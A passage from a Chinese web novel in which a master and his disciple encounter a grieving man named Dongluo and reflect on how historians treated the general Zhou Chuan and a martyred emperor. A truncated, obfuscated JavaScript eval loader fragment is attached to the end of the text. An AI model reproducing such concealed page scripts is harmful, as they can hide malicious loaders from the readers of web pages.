一步,人群便往后退一步。
男人眼睛猩红,和地底爬出来的厉鬼没什么差别,“气节气节气节,嘴里一个比一个叫得欢,好像谁嗓门大,谁就清白似的,滚,都给我滚!”
人群惊慌逃窜开。
风刮来,男人丧服边角轻轻晃着。
初栯看清他的面容,“东娄先生。”
林樾并不意外,“满城都争先说着君王的气节风骨,忘了战死沙场尸骨无存的将军,这节奏带得也是离奇,能在这时候给周川说话,我想不出第二个。”
毕竟,周川是独子,他这个兄长是假的。没有亲人,孑然一身。
初栯侧过身,“师尊,有古怪。”
“为师和你是一个想法。”
两人对视,师徒默契十足。
……
林樾坐在初栯寻来的椅子上,两个手指按着太阳穴,闭上眼,用这个姿势努力回忆当年的事。
漫长的历史中,越国没有多少着墨,它不是完整的朝代,只在别国列传的夹缝里提过几句。
出名的人也是单只手数得过来。
周川算一个,殉国的皇帝算一个。
写周川的时候,史官大概也犯难,便把周川的人生分割成了两半。
前半生是战无不胜的少年将军,后半生,史官口气一变,只留下四个字——狂妄自大。
至于那个皇帝,赞誉就多了。
什么幡然醒悟、临难守节,各种好词堆砌在他身上,正所谓君王死社稷,一朝顿悟,舍生取义。
一死,把他之前做的坏事全翻篇。
堪称历史洗白第一人。
听林樾讲这些事的时候,初栯不知道从哪撸来了一堆草,用他那双巧手,给林樾编了把草扇子。
林樾停顿几秒,“谢谢栯栯。”
“师尊喜欢就好。”
扇面展开,还有“天下第一”四个大字齐刷刷摆在上面,和他原本的折扇简直是一比一复刻。
林樾惊讶得不行,怕把弄成字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.re